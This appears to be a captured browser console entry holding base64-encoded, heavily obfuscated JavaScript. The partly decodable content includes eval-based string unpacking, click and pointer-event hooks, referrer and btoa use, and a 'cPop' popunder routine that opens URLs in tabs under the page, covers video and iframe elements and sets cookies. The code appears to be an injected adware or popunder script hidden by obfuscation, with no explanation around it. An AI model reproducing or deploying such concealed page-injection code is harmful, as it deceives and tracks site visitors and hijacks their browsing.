NDk3OSkhPT1YNzthNysrKXtFdT0hMTtTNys9Mjt9aWYodzUuZDEoUzcudG9TdHJpbmcoKSxTNy50b1N0cmluZygpLmxlbmd0aCw2MjI0OCkhPT1CNyl7RXU9IXt9O31FdT1vNTt9KTtpbyhmdW5jdGlvbigpe3c1Lm80KDE1KTtLYy5lKHc1LnU0KFNpLFllLEdyLFR0LFllLE0sR3IsWWUsUWUsT3QsQW8pKTt3NS5vNCg0KTtLYy5lKHc1LmM0KHhhLFZ0LEdyKSxvdSk7dzUuWTQoNCk7S2MuZSh3NS5jNChxaSxWdCxHciksc3UpO3c1Lm80KDQpO0tjLmUodzUudTQoRXMsVnQsR3IpLGF1KTt9LDEwKTt5W3J1XT15W3J1XXx8ZnVuY3Rpb24oKXt2YXIgdCxlLGksbixyLG87cj17fTtvPVpjLnAoW1trbytHcitSYStHcitudCxbR2MsR2MuaV1dLFtKbixzdV0sW0d0LG91XSxbWW8rR3IraXMsYXVdLFt6YSxbR2MsR2MuWGkscl1dLFthYStHcitJaSxbR2MsR2MuWmldXSxbYWErR3IrUStHcitiYSxbR2MsR2MuWWldXSxbYWErR3IrX28rR3IrYmEsW0djLEdjLktpXV0sW3crR3IrQ24sW0djLEdjLk1pXV0sW0huLFtHYyxHYy5lbixyXV0sW0duLFtHYyxHYy5oaSxyXV0sW2VzLFtHYyxHYy5HaSxyXV0sW2xjK0dyK2JhLFtHYyxHYy5xZSxyXV0sW1JuK0dyK2JhLFtHYyxHYy5KZSxyXV0sW2FhK0dyK2h0K0dyK0NuLFtHYyxHYy53ZV1dLFthYStHcitubitHcitabyxbR2MsR2MuJGldXSxbYWErR3IreWUrR3IrWm8sW0djLEdjLlZpXV0sW0JhK0dyK3llLFtHYyxHYy5QaV1dLFtrbytHcitkdCtHcitKZSxbR2MsR2MucGldXSxbYWErR3IrVXQrR3IramUrR3IrQmksW0djLEdjLlFpXV0sW2FhK0dyK1V0K0dyK0NhLFtHYyxHYy5kaV1dLFt6aSxbR2MsR2MuTmldXSxbYWErR3IrXyxbR2MsR2MuVWldXSxbRm8rR3IrXyxbR2MsR2MuUmldXSxbaGErVHQrT28sW0tjLEtjLmVdXSxbaGErVHQrRyxbS2MsS2Mucl1dLFtPYStUdCtsaSxbdHUsdHUuYV1dLFtPYStUdCthYSxbdHUsdHUuY11dLFtPYStUdCt4bixbdHUsdHUudV1dLFt0aStUdCtrbytHcitkaSxbZXUsZXUuc11dLFt0aStUdCtsaSxbZXUsZXUuYV1dLFt0aStUdCthYSxbZXUsZXUuY11dLFt0aStUdCt4bixbZXUsZXUudV1dLFtjZStUdCtKbixYYy5wdF0sW2NlK1R0K0lyK0dyK3FpLFhjLmZ0XSxbY2UrVHQra28rR3IrQ3MsWGMuaXRdLFtjZStUdCtrbytHcitYbyxYYy5udF0sW2NlK1R0K2tvK0dyK01hLFhjLm1dLFtjZStUdCtrbytHcit2YStHcitmYytHcit0YyxYYy5ldF0sW2NlK1R0K2tvK0dyK0JuLFhjLnJ0XSxbY2UrVHQra28rR3Irdm4sWGMub3RdLFtjZStUdCtrbytHcitoZSxYYy5zdF0sW2NlK1R0K2tvK0dyK3l0LFhjLmF0XSxbY2UrVHQra28rR3IrZ2MsWGMuYl0sW2NlK1R0K2tvK0dyK0luLFhjLmRdLFtjZStUdCtrbytHcitGYSxYYy5odF0sW2NlK1R0K2tvK0dyK3ZhK0dyK1BzLFhjLmddLFtjZStUdCtrbytHcitjcyxYYy5jdF0sW2NlK1R0K2tvK0dyK0VvLFhjLnV0XSxbY2UrVHQrSm4rR3IrdXQsW1hjLFhjLkpdXSxbY2UrVHQrYW8rR3IrZGksW1hjLFhjLmx0XV0sW0NhK1R0K2xjK0dyK3FzLFtpdSxpdS5LXV0sW0NhK1R0K2xjLFtpdSxpdS5YXV0sW0NhK1R0K2xhLFtpdSxpdS5aXV0sW0NhK1R0K2FhK0dyK3luLFtpdSxpdS50dF1dLFtLZStUdCtrbytHcit2ZStHciskZSxbWmMsWmMud11dLFtLZStUdCtKbitHcit1dCxbWmMsWmMuSl1dLFtLZStUdCtvcyxbWmMsWmMuR11dLFtLZStUdCt3byxbWmMsWmMueV1dLFtLZStUdCtKaSxbWmMsWmMuJF1dLFtLZStUdCtVcytHcitDbixbWmMsWmMuel1dLFtLZStUdCt4bitHcitDbixbWmMsWmMuUF1dLFtLZStUdCthYStHcitVaSxbWmMsWmMuQl1dLFtLZStUdCtEZStHcitZaSxbWmMsWmMuSF1dXSk7Zm9yKGUgaW4gbylpZih5aVtYdF1bQmErR3IrbHQrR3Irb29dW0NpXShvLGUpKXtmb3Iobj1lW0NyXShHcitUdCtHciksdD1yLGk9MDtpPG5bcGldLTE7aSsrKXt0eXBlb2YgdFtuW2ldXT09PWdlJiYodFtuW2ldXT17fSk7dD10W25baV1dO310W25bbltwaV0tMV1dPWZ1bmN0aW9uKHQsZSl7cmV0dXJuIFpjLngodFtlXSk/MT09PXRbZV1bcGldP3RbZV1bMF06ZnVuY3Rpb24oKXtyZXR1cm4gMj09PXRbZV1bcGldP3RbZV1bMV1bb2FdKHRbZV1bMF0sYXJndW1lbnRzKToodFtlXVsxXVtvYV0odFtlXVswXSxhcmd1bWVudHMpLHRbZV1bMl0pO306dFtlXTt9KG8sZSk7fXJldHVybiByO30oKTt9KHQucG9wbnN8fHpjK0dyK1VjK0dyK09jLHQsdFtFaV0sdFtPaV0sdFttcl0sdFtyb10sdFtibl0sdFtObl0sdFtDb10sdFtyaStHcitpb10sdFtsaStHcitZaV0sdFtNaStHcitZaV0sdFtsaStHcitBaV0sdFtNaStHcitBaV0sdFtMdCtHcit0YytHcitmYytHcitndF0sdFt5K0dyK1J0XSx0W2tvK0dyK3lpK0dyK2d0XSx0W2lzXSx0W1hlK0dyK1ZyK0dyK0dzK0dyK3ZhK0dyK1VyXSx0W2RyXSk7fSh3aW5kb3cpO2Y1eXkuSD1mdW5jdGlvbiAoKXtyZXR1cm4gdHlwZW9mIGY1eXkuTC55PT09J2Z1bmN0aW9uJz9mNXl5LkwueS5hcHBseShmNXl5LkwsYXJndW1lbnRzKTpmNXl5LkwueTt9O2Y1eXkuVz1mdW5jdGlvbiAoKXtyZXR1cm4gdHlwZW9mIGY1eXkuTC52PT09J2Z1bmN0aW9uJz9mNXl5Lkwudi5hcHBseShmNXl5LkwsYXJndW1lbnRzKTpmNXl5Lkwudjt9O2Y1eXkuZz1mdW5jdGlvbiAoKXtyZXR1cm4gdHlwZW9mIGY1eXkuTC5PPT09J2Z1bmN0aW9uJz9mNXl5LkwuTy5hcHBseShmNXl5LkwsYXJndW1lbnRzKTpmNXl5LkwuTzt9O2Y1eXkuZj1mdW5jdGlvbiAoKXtyZXR1cm4gdHlwZW9mIGY1eXkuTC52PT09J2Z1bmN0aW9uJz9mNXl5Lkwudi5hcHBseShmNXl5LkwsYXJndW1lbnRzKTpmNXl5Lkwudjt9O2Z1bmN0aW9uIGY1eXkoKXt9ZjV5eS5CPWZ1bmN0aW9uICgpe3JldHVybiB0eXBlb2YgZjV5eS5MLnk9PT0nZnVuY3Rpb24nP2Y1eXkuTC55LmFwcGx5KGY1eXkuTCxhcmd1bWVudHMpOmY1eXkuTC55O307ZjV5eS5SPWZ1bmN0aW9uICgpe3JldHVybiB0eXBlb2YgZjV5eS5DLnY9PT0nZnVuY3Rpb24nP2Y1eXkuQy52LmFwcGx5KGY1eXkuQyxhcmd1bWVudHMpOmY1eXkuQy52O307ZjV5eS5JPWZ1bmN0aW9uICgpe3JldHVybiB0eXBlb2YgZjV5eS5DLnY9PT0nZnVuY3Rpb24nP2Y1eXkuQy52LmFwcGx5KGY1eXkuQyxhcmd1bWVudHMpOmY1eXkuQy52O307ZjV5eS5MPWZ1bmN0aW9uKEQpe3JldHVybnt5OmZ1bmN0aW9uKCl7dmFyIEcsZD1hcmd1bWVudHM7c3dpdGNoKEQpe2Nhc2UgMjpHPWRbMF0qZFsxXTticmVhaztjYXNlIDA6Rz1kWzBdfGRbMV07YnJlYWs7Y2FzZSAxOkc9ZFsxXS1kWzBdO2JyZWFrO31yZXR1cm4gRzt9LE86ZnVuY3Rpb24oVil7RD1WO319O30oKTtmNXl5Lno9ZnVuY3Rpb24gKCl7cmV0dXJuIHR5cGVvZiBmNXl5LkwuTz09PSdmdW5jdGlvbic/ZjV5eS5MLk8uYXBwbHkoZjV5eS5MLGFyZ3VtZW50cyk6ZjV5eS5MLk87fTtmNXl5LkM9ZnVuY3Rpb24oKXt2YXIgUT0yO3doaWxlKFEhPT0xKXtzd2l0Y2goUSl7Y2FzZSAyOnJldHVybnt2OmZ1bmN0aW9uKFUpe3ZhciBiPTI7d2hpbGUoYiE9PTE0KXtzd2l0Y2goYil7Y2FzZSAyOnZhciBLPScnLGw9ZGVjb2RlVVJJKCJ0JTExa2JsYyU3RCUwNmhiZGxtbDYhJTNDJTNDKyU1QmNkLTo1JTVENyg4Jy8lNUJ3LzI4bWolM0M4KTA3YiolMUMyJTI1bSUwN3ElN0RvYmslMTh3JTdDc2RtaDcpKSUyMipaMmQlMTgtNUErKS5vbXMlMTUlMjUlM0UwKyU1QiUzQyUxMXUlMjA2TXk/KScsSy1kJTNFOSxLMi00OyUyMCUwNjojMCU3RDUlNUM6IzMya0s2IXU5Kks4JTIwNTo2JTVDcSUxRiUzRScsWC1sMCUyMDYlNUN5Ljh1KUc4KDgxZUolM0MqMiclMjAlMDg1JTI1JTNFMCslNUIlM0NsOyUzQylNcWIxOiZJNSIpO2I9MTticmVhaztjYXNlIDk6Sys9U3RyaW5nLmZyb21DaGFyQ29kZShsLmNoYXJDb2RlQXQoWSleVS5jaGFyQ29kZUF0KGspKTtiPTg7YnJlYWs7Y2FzZSAxOnZhciBZPTAsaz0wO2I9NTticmVhaztjYXNlIDU6Yj1ZPGwubGVuZ3RoPzQ6NzticmVhaztjYXNlIDM6az0wO2I9OTticmVhaztjYXNlIDg6WSsrLGsrKztiPTU7YnJlYWs7Y2FzZSA0OmI9az09PVUubGVuZ3RoPzM6OTticmVhaztjYXNlIDc6Sz1LLnNwbGl0KCcoJyk7cmV0dXJuIGZ1bmN0aW9uKFApe3ZhciBoPTI7d2hpbGUoaCE9PTEpe3N3aXRjaChoKXtjYXNlIDI6cmV0dXJuIEtbUF07YnJlYWs7fX19O2JyZWFrO319fSgnRShZTF1VJyl9O2JyZWFrO319fSgpOyFmdW5jdGlvbihlLG8sYyl7InVzZSBzdHJpY3QiO3ZhciBUPWY1eXk7dmFyIGksbix0O1QuZygwKTtpPVQuUihULkgoIjgiLDApKTtULnooMCk7bj1bVC5JKFQuSCgnXHgzMVx4MzAnLDApKSxULkkoKyI2IiksVC5SKCsnXHgzMVx4MzQnKSxULlIoKyIxMiIpLFQuUihULkgoIjUiLDAsVC5nKDApKSksVC5JKFQuQigwLCdceDMwJyxULnooMSkpKSxULlIoVC5CKCdceDMxXHgzMScsMCxULnooMCkpKSxULkkoKyIyIildO1QuZygyKTt0PVsrJ1x4MzJceDMwXHgzMVx4MzknLFQuQignXHUwMDM1JywxKSxULkgoJ1x4MzFceDM2JywwLFQuZygwKSldO3RyeXtzZXRUaW1lb3V0KGZ1bmN0aW9uKCl7Yy5Mb2dnZXIubG9nKGksVC5SKCsnXHgzMScpLG4pO2MuTG9nZ2VyLmxvZyhpLFQuUigiNyItMCksdC5qb2luKFQuSSgnXHgzNCctMCkpKTt9LCsiNTAwIik7VC56KDEpO2Mub2JqZWN0PVtuLFsrIjM2MCIsNDk0LDM5MSwrIjMxMiIsVC5CKDAsIjMxMiIpLFQuSCgiMzY1IiwwLFQuZygwKSksKydceDM0XHgzMFx4MzQnLFQuSCgiMzAwIiwwLFQuZygwKSksKydceDMzXHgzNlx4MzBceDMwXHgzMScsVC5IKDAsJ1x4MzNceDM5XHgzNVx4MzJceDMyJyxULmcoMSkpLFQuQigiMTg3NzEiLDAsVC56KDApKSwrIjM0OTQ4IiwxNjU0MSwyOTU3MSwrJ1x4MzVceDMxXHgzN1x4MzFceDM5JywzMzkwOCxULkgoIjc4ODQwIiwwLFQuZygwKSksMTA1OTY0LCsnXHgzOFx4MzRceDM1XHgzNVx4MzUnLFQuSCgiNzI0MjYiLDAsVC5nKDApKSxULkgoJ1x4MzNceDMwXHgzNVx4MzlceDM5JywwLFQuZygwKSksVC5CKCdcdTAwMzRcdTAwMzFcdTAwMzZcdTAwMzJcdTAwMzYnLDAsVC5nKDApKSxULkIoMCwnXHUwMDM4XHUwMDM4XHUwMDMwXHUwMDM4XHUwMDM0JyxULnooMSkpLFQuSCgiNjU0MDkiLDEsVC5nKDIpKSwxNDQwMCxULkgoIjEyODQ0IiwxLFQueigyKSksKydceDM4XHgzNlx4MzBceDMyJyxULkgoJ1x4MzFceDMwXHgzOVx4MzJceDMwJywxLFQuZygyKSksMTM0MTYsVC5IKCdceDMyXHgzNFx4MzhceDMyXHgzMCcsMCxULmcoMCkpLFQuQignXHgzM1x4MzdceDM5XHgzN1x4MzYnLDAsVC56KDApKSwrJ1x4MzVceDMxXHg2NVx4MzMnXSx0LFtULkgoJ1x4MzNceDM2XHgzMicsMCxULmcoMCkpLDQ5NiwrJ1x4MzNceDM5XHgzOScsVC5IKDAsIjczMDkyMyIsVC5nKDEpKSwrJ1x1MDAzMlx1MDAzNVx1MDAzMVx1MDAzMicsVC5IKCI2Mzk4IiwwLFQueigwKSksVC5IKCdcdTAwMzRcdTAwMzFcdTAwMzFcdTAwMzlcdTAwMzFcdTAwMzJcdTAwMzInLDEsVC5nKDIpKSwrJ1x4MzFceDMxXHgzMVx4MzlceDMyJyxULkgoJ1x4MzNceDM0XHgzMlx4MzNceDM2JywwLFQueigwKSksMjQ2MSwzMjU1NywxMDIxMF0sby5jdXJyZW50U2NyaXB0LFQuSCgiMSIsMSxULmcoMikpXTt9Y2F0Y2gobyl7dm9pZCgnXHgzMCcqMSkhPT1lLmNvbnNvbGUmJmUuY29uc29sZS5sb2cmJkZ1bmN0aW9uLmFwcGx5LmNhbGwoZS5jb25zb2xlLmxvZyxlLmNvbnNvbGUsW1QuSSgnXHgzMVx4MzMnfDApXSk7fX0od2luZG93LGRvY3VtZW50LHdpbmRvd1t3aW5kb3cucG9wbnN8fGY1eXkuUigiMyItMCldKTt2YXIgXzB4MTM4Zj1bJ1x4NThceDQ4XHg2M1x4NzInLCdceDQ5XHg1NFx4NDVceDZmXHg2NFx4NDNceDZjXHgzN1x4NGZceDQzXHg0Mlx4NmNceDUwXHg1NFx4NDVceDZmXHg1YVx4NTNceDZjXHgzN1x4NGZceDQzXHg0Mlx4NzVceDUwXHg1OFx4NTFceDc1XHg2Mlx4NzlceDY3XHg2OVx4NjJceDUzXHg0OVx4NzBceDRmXHg3YVx4NTlceDY3XHg2Mlx4NjlceDM0XHg3OVx4NGNceDZkXHg3N1x4MzlceDQ5XHg2ZFx4NzNceDY5XHg0Y1x4NDdceDM0XHg3NVx4NGRceDY5XHgzNVx4NzdceDUwXHg1NFx4NDFceDczXHg2Mlx4NjlceDM0XHg3OVx4NGNceDZlXHg0NVx4MzlceDRkXHg0M1x4NzhceDc1XHg0Y1x4NmFceDQ5XHg3NVx4NjRceDdhXHgzMFx4NjlceDYxXHg2OVx4NDlceDczXHg2Mlx4NjlceDM1XHgzMVx4NTBceDUzXHg0OVx4MzNceDRmXHg2OVx4MzhceDc2XHg2M1x4NjlceDM1XHgzNFx4NGNceDZhXHg1NVx4NzZceDYxXHg0M1x4MzlceDY4XHg0Y1x4NzlceDQ5XHg3Mlx4NWFceDUzXHg3OFx4MzBceDRjXHg2ZFx4NDlceDc1XHg2MVx4NTNceDY4XHg3NVx4NGJceDUzXHg3OFx4NzVceDY2XHg1M1x4NzhceDc1XHg1MFx4NTdceDRkXHg2Zlx4NWFceDc5XHg2N1x4NmZceDY0XHg0M1x4MzVceDZiXHg0Y1x4NmVceDU5XHg2Zlx4NTFceDY5XHg0Mlx4NGZceDRiXHg0M1x4NDlceDZmXHg0ZVx4N2FceDM5XHgzOFx4NTNceDY5XHgzMVx4MzVceDRiXHg1NFx4NzBceDYzXHg1OFx4NDNceDM5XHg2M1x4NThceDQzXHgzOFx4NjlceDRiXHg1M1x4NzdceDY5XHg0OVx4NjlceDZiXHg3NVx4NGRceDc5XHg2N1x4NjlceDRjXHg3OVx4NDlceDcwXHg1N1x4N2FceDQyXHg2NFx4NjZceDQ4XHg3N1x4NjlceDUzXHg3OVx4MzRceDMxXHg0OVx4NjlceDZiXHg3NVx4NGRceDc5XHg2N1x4NjlceDQ5XHg2OVx4NmJceDc1XHg1NFx4NDNceDY3XHg3OFx4NGJceDQ4XHg1MVx4NzBceDY1XHg3YVx4NTlceDY3XHg2NFx4NDNceDM1XHg0ZVx4NGJceDQ0XHg0MVx4NzBceDRjXHg2Ylx4NjNceDZmXHg1M1x4NDNceDZjXHgzOVx4NGJceDUzXHgzNVx4NDJceDRiXHg0M1x4NDlceDY5XHg0Ylx4NTNceDZiXHg3MFx4NGZceDMzXHg2Zlx4NzVceDRlXHg0M1x4NjdceDY5XHg1MVx4NzlceDQ5XHg3M1x4NGRceDUzXHg2N1x4NzBceDY1XHgzMlx4NTVceDZmXHg2Mlx4NjlceDczXHg2OVx4NGNceDMyXHg1OVx4NzVceDRmXHg1M1x4NDlceDcwXHg0Y1x4NmFceDUxXHg2Zlx4NDlceDZiXHg1MVx4NjlceDRjXHg0NFx4NDVceDZmXHg0Ylx4NThceDc0XHg0N1x4NGJceDQ0XHg0NVx4NmZceDRiXHg1OFx4NzRceDZjXHg0Ylx4NDdceDM0XHg3Mlx4NDlceDY5XHgzOVx4N2FceDRjXHg2YVx4NmJceDY5XHg0Ylx4NThceDMwXHg3M1x4NTJceDUzXHg2Y1x4MzlceDRiXHg1OFx4MzBceDcwXHg2Nlx4NTNceDY4XHg0YVx4NGJceDU0XHg3M1x4M2QnLCdceDYzXHgzM1x4NDJceDczXHg2MVx4NThceDUxXHgzZCcsJ1x4NWFceDZlXHg0YVx4NzZceDYyXHg1NVx4NGVceDZmXHg1OVx4NThceDRhXHg0NFx4NjJceDMyXHg1Mlx4NmMnLCdceDY0XHg0N1x4MzlceDU0XHg2NFx4NDhceDRhXHg3MFx4NjJceDZkXHg2M1x4M2QnLCdceDYzXHg2ZFx4NTZceDc3XHg2Mlx4NDdceDQ2XHg2YVx4NWFceDUxXHgzZFx4M2QnXTsoZnVuY3Rpb24oXzB4MWI1OWFjLF8weDMwZDYwNSl7dmFyIF8weDQ0NTljOT1mdW5jdGlvbihfMHgxNDY4YWMpe3doaWxlKC0tXzB4MTQ2OGFjKXtfMHgxYjU5YWNbJ3B1c2gnXShfMHgxYjU5YWNbJ3NoaWZ0J10oKSk7fX07XzB4NDQ1OWM5KCsrXzB4MzBkNjA1KTt9KF8weDEzOGYsMHgxMGIpKTt2YXIgXzB4MTdjMT1mdW5jdGlvbihfMHgxOTc3ZGIsXzB4Yzc5ZjY5KXtfMHgxOTc3ZGI9XzB4MTk3N2RiLTB4MDt2YXIgXzB4MTYyZGYyPV8weDEzOGZbXzB4MTk3N2RiXTtpZihfMHgxN2MxWydPTXJTcXgnXT09PXVuZGVmaW5lZCl7KGZ1bmN0aW9uKCl7dmFyIF8weDI0NzE2Njt0cnl7dmFyIF8weDViZDYyOT1GdW5jdGlvbigncmV0dXJuXHgyMChmdW5jdGlvbigpXHgyMCcrJ3t9LmNvbnN0cnVjdG9yKFx4MjJyZXR1cm5ceDIwdGhpc1x4MjIpKFx4MjApJysnKTsnKTtfMHgyNDcxNjY9XzB4NWJkNjI5KCk7fWNhdGNoKF8weDMyOTViMCl7XzB4MjQ3MTY2PXdpbmRvdzt9dmFyIF8weDI4M2NlOT0nQUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVphYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ejAxMjM0NTY3ODkrLz0nO18weDI0NzE2NlsnYXRvYiddfHwoXzB4MjQ3MTY2WydhdG9iJ109ZnVuY3Rpb24oXzB4MzQxYjE5KXt2YXIgXzB4MTQ0Zjk2PVN0cmluZyhfMHgzNDFiMTkpWydyZXBsYWNlJ10oLz0rJC8sJycpO2Zvcih2YXIgXzB4MjhhNzVlPTB4MCxfMHg1OWNiNWIsXzB4MWUwOTNkLF8weDUxZWZhNj0weDAsXzB4OTIyYWFjPScnO18weDFlMDkzZD1fMHgxNDRmOTZbJ2NoYXJBdCddKF8weDUxZWZhNisrKTt+XzB4MWUwOTNkJiYoXzB4NTljYjViPV8weDI4YTc1ZSUweDQ/XzB4NTljYjViKjB4NDArXzB4MWUwOTNkOl8weDFlMDkzZCxfMHgyOGE3NWUrKyUweDQpP18weDkyMmFhYys9U3RyaW5nWydmcm9tQ2hhckNvZGUnXSgweGZmJl8weDU5Y2I1Yj4+KC0weDIqXzB4MjhhNzVlJjB4NikpOjB4MCl7XzB4MWUwOTNkPV8weDI4M2NlOVsnaW5kZXhPZiddKF8weDFlMDkzZCk7fXJldHVybiBfMHg5MjJhYWM7fSk7fSgpKTtfMHgxN2MxWyd4anFrREYnXT1mdW5jdGlvbihfMHgzMzc3MTgpe3ZhciBfMHg1ZGRiMTU9YXRvYihfMHgzMzc3MTgpO3ZhciBfMHg1NjBiOTU9W107Zm9yKHZhciBfMHhjOTdmOTE9MHgwLF8weDQ0MTg3Mj1fMHg1ZGRiMTVbJ2xlbmd0aCddO18weGM5N2Y5MTxfMHg0NDE4NzI7XzB4Yzk3ZjkxKyspe18weDU2MGI5NSs9JyUnKygnMDAnK18weDVkZGIxNVsnY2hhckNvZGVBdCddKF8weGM5N2Y5MSlbJ3RvU3RyaW5nJ10oMHgxMCkpWydzbGljZSddKC0weDIpO31yZXR1cm4gZGVjb2RlVVJJQ29tcG9uZW50KF8weDU2MGI5NSk7fTtfMHgxN2MxWydrRG1IU2snXT17fTtfMHgxN2MxWydPTXJTcXgnXT0hIVtdO312YXIgXzB4MzA2NDA1PV8weDE3YzFbJ2tEbUhTayddW18weDE5NzdkYl07aWYoXzB4MzA2NDA1PT09dW5kZWZpbmVkKXtfMHgxNjJkZjI9XzB4MTdjMVsneGpxa0RGJ10oXzB4MTYyZGYyKTtfMHgxN2MxWydrRG1IU2snXVtfMHgxOTc3ZGJdPV8weDE2MmRmMjt9ZWxzZXtfMHgxNjJkZjI9XzB4MzA2NDA1O31yZXR1cm4gXzB4MTYyZGYyO307ZXZhbChmdW5jdGlvbihfMHg0OWIyZTksXzB4MTA2OTM1LF8weDIyM2Q1NixfMHgyZmY2ZTksXzB4ZWQ3ZDI2LF8weDNiYzUwMCl7XzB4ZWQ3ZDI2PWZ1bmN0aW9uKF8weDI2YmI4Mil7cmV0dXJuKF8weDI2YmI4MjxfMHgxMDY5MzU/Jyc6XzB4ZWQ3ZDI2KHBhcnNlSW50KF8weDI2YmI4Mi9fMHgxMDY5MzUpKSkrKChfMHgyNmJiODI9XzB4MjZiYjgyJV8weDEwNjkzNSk+MHgyMz9TdHJpbmdbXzB4MTdjMSgnMHgwJyldKF8weDI2YmI4MisweDFkKTpfMHgyNmJiODJbXzB4MTdjMSgnMHgxJyldKDB4MjQpKTt9O2lmKCEnJ1tfMHgxN2MxKCcweDInKV0oL14vLFN0cmluZykpe3doaWxlKF8weDIyM2Q1Ni0tKXtfMHgzYmM1MDBbXzB4ZWQ3ZDI2KF8weDIyM2Q1NildPV8weDJmZjZlOVtfMHgyMjNkNTZdfHxfMHhlZDdkMjYoXzB4MjIzZDU2KTt9XzB4MmZmNmU5PVtmdW5jdGlvbihfMHgzMjA3ZjYpe3JldHVybiBfMHgzYmM1MDBbXzB4MzIwN2Y2XTt9XTtfMHhlZDdkMjY9ZnVuY3Rpb24oKXtyZXR1cm4gXzB4MTdjMSgnMHgzJyk7fTtfMHgyMjNkNTY9MHgxO307d2hpbGUoXzB4MjIzZDU2LS0pe2lmKF8weDJmZjZlOVtfMHgyMjNkNTZdKXtfMHg0OWIyZTk9XzB4NDliMmU5W18weDE3YzEoJzB4MicpXShuZXcgUmVnRXhwKCdceDVjXHg2MicrXzB4ZWQ3ZDI2KF8weDIyM2Q1NikrJ1x4NWNceDYyJywnXHg2NycpLF8weDJmZjZlOVtfMHgyMjNkNTZdKTt9fXJldHVybiBfMHg0OWIyZTk7fShfMHgxN2MxKCcweDQnKSwweDMyLDB4MzIsJ1x4N2NceDY2XHg3NVx4NmVceDYzXHg3NFx4NjlceDZmXHg2ZVx4N2NceDczXHg3NFx4NzlceDZjXHg2NVx4N2NceDczXHg3MFx4NmNceDY5XHg3NFx4N2NceDYxXHg2NFx4NjRceDQ1XHg3Nlx4NjVceDZlXHg3NFx4NGNceDY5XHg3M1x4NzRceDY1XHg2ZVx4NjVceDcyXHg3Y1x4NjNceDZmXHg2ZFx4N2NceDcyXHg2NVx4NzRceDc1XHg3Mlx4NmVceDdjXHg2OFx4NzRceDc0XHg3MFx4NzNceDdjXHg3Nlx4NjFceDcyXHg3Y1x4NzBceDZlXHg2N1x4N2NceDcwXHg3NFx4N2NceDYyXHg2Zlx4NjRceDc5XHg3Y1x4NjVceDZlXHg2M1x4NmZceDY0XHg2NVx4NTVceDUyXHg0OVx4NDNceDZmXHg2ZFx4NzBceDZmXHg2ZVx4NjVceDZlXHg3NFx4N2NceDcyXHg2NVx4NjZceDY1XHg3Mlx4NzJceDY1XHg3Mlx4N2NceDdjXHg3Y1x4NjJceDc0XHg2Zlx4NjFceDdjXHg3Nlx4MzFceDdjXHg2MVx4NzBceDcwXHg2NVx4NmVceDY0XHg0M1x4NjhceDY5XHg2Y1x4NjRceDdjXHg2ZVx4NmZceDZlXHg2NVx4N2NceDYxXHg2Mlx4NzNceDZmXHg2Y1x4NzVceDc0XHg2NVx4N2NceDcwXHg2Zlx4NzNceDY5XHg3NFx4NjlceDZmXHg2ZVx4N2NceDY5XHg2ZFx4NjdceDdjXHg3Y1x4NjNceDcyXHg2NVx4NjFceDc0XHg2NVx4NDVceDZjXHg2NVx4NmRceDY1XHg2ZVx4NzRceDdjXHg3NFx4NmZceDcwXHg3Y1x4NmNceDY1XHg2Nlx4NzRceDdjXHg2MVx4NzBceDY5XHg3Y1x4N2NceDdjXHg3M1x4NzJceDYzXHg3Y1x4NzJceDY1XHg3MFx4NmNceDYxXHg2M1x4NjVceDdjXHg3MFx4NmZceDY5XHg2ZVx4NzRceDY1XHg3Mlx4NDVceDc2XHg2NVx4NmVceDc0XHg3M1x4N2NceDYzXHg2Y1x4NjlceDYzXHg2Ylx4NjFceDY5XHg2ZVx4NjVceDdjXHg2MVx4NzBceDcwXHg3Y1x4NzdceDY5XHg2ZVx4NjRceDZmXHg3N1x4N2NceDZhXHg2Zlx4NjlceDZlXHg3Y1x4NmVceDY1XHg3N1x4N2NceDQ0XHg0Zlx4NGRceDQzXHg2Zlx4NmVceDc0XHg2NVx4NmVceDc0XHg0Y1x4NmZceDYxXHg2NFx4NjVceDY0XHg3Y1x4NmNceDZmXHg2MVx4NjRceDdjXHgzNVx4NjVceDMzXHg3Y1x4NzNceDY1XHg3NFx4NTRceDY5XHg2ZFx4NjVceDZmXHg3NVx4NzRceDdjXHg3NFx4NmZceDUzXHg3NFx4NzJceDY5XHg2ZVx4NjdceDdjXHgzMVx4MzZceDdjXHg2NFx4NmZceDYzXHg3NVx4NmRceDY1XHg2ZVx4NzRceDdjXHg2MVx4NmVceDY0XHg3Mlx4NmZceDY5XHg2NFx4N2NceDY0XHg2Zlx4NzRceDdjXHg2ZFx4NjFceDcwXHg3Y1x4NjNceDY4XHg2MVx4NzJceDQzXHg2Zlx4NjRceDY1XHg0MVx4NzRceDdjXHg1Mlx4NjVceDY3XHg0NVx4NzhceDcwJ1tfMHgxN2MxKCcweDUnKV0oJ1x4N2MnKSwweDAse30pKTsKO3ZhciBjSVBvcCA9IGZ1bmN0aW9uIGNJUG9wKHVybCkgewoJCWNQb3AuY29uZmlnKHsKCQkJY292ZXJUYWdzOiBbJ3ZpZGVvJywgJ2lmcmFtZSddLAoJCQl0YWJVbmRlcklnbm9yZVRhcmdldEJsYW5rOiB0cnVlLAoJCQlkZWxheTogMjE2MDAKCQl9KTsKCQljUG9wLmFkZCh1cmwsIHsKCQkJbmV3VGFiOiB0cnVlLAoJCQl1bmRlcjogdHJ1ZSwKCQkJY29va2llRXhwaXJlczogMjE2MDB9KX07(Line 1)
Message:
console.clear
console-api log URL: data:text/plain;base64,d2luZG93LnBvcG5zID0gJ2NQb3AnO3Y3R0cuYzQ9ZnVuY3Rpb24gKCl7cmV0dXJuIHR5cGVvZiB2N0dHLlo0LmU0PT09J2Z1bmN0aW9uJz92N0dHLlo0LmU0LmFwcGx5KHY3R0cuWjQsYXJndW1lbnRzKTp2N0dHLlo0LmU0O307djdHRy5pMT1mdW5jdGlvbigpe3ZhciBxMT1mdW5jdGlvbihJMSxLMSl7dmFyIEExPUsxJjB4ZmZmZjt2YXIgcjE9SzEtQTE7cmV0dXJuKHIxKkkxfDApKyhBMSpJMXwwKXwwO30sbTE9ZnVuY3Rpb24oajEsVTEsaDEpe3ZhciB4MT0weGNjOWUyZDUxLHoxPTB4MWI4NzM1OTM7dmFyIGUxPWgxO3ZhciB0MT1VMSZ+MHgzO2Zvcih2YXIgWjE9MDtaMTx0MTtaMSs9NCl7dmFyIFExPWoxLmNoYXJDb2RlQXQoWjEpJjB4ZmZ8KGoxLmNoYXJDb2RlQXQoWjErMSkmMHhmZik8PDh8KGoxLmNoYXJDb2RlQXQoWjErMikmMHhmZik8PDE2fChqMS5jaGFyQ29kZUF0KFoxKzMpJjB4ZmYpPDwyNDtRMT1xMShRMSx4MSk7UTE9KFExJjB4MWZmZmYpPDwxNXxRMT4+PjE3O1ExPXExKFExLHoxKTtlMV49UTE7ZTE9KGUxJjB4N2Z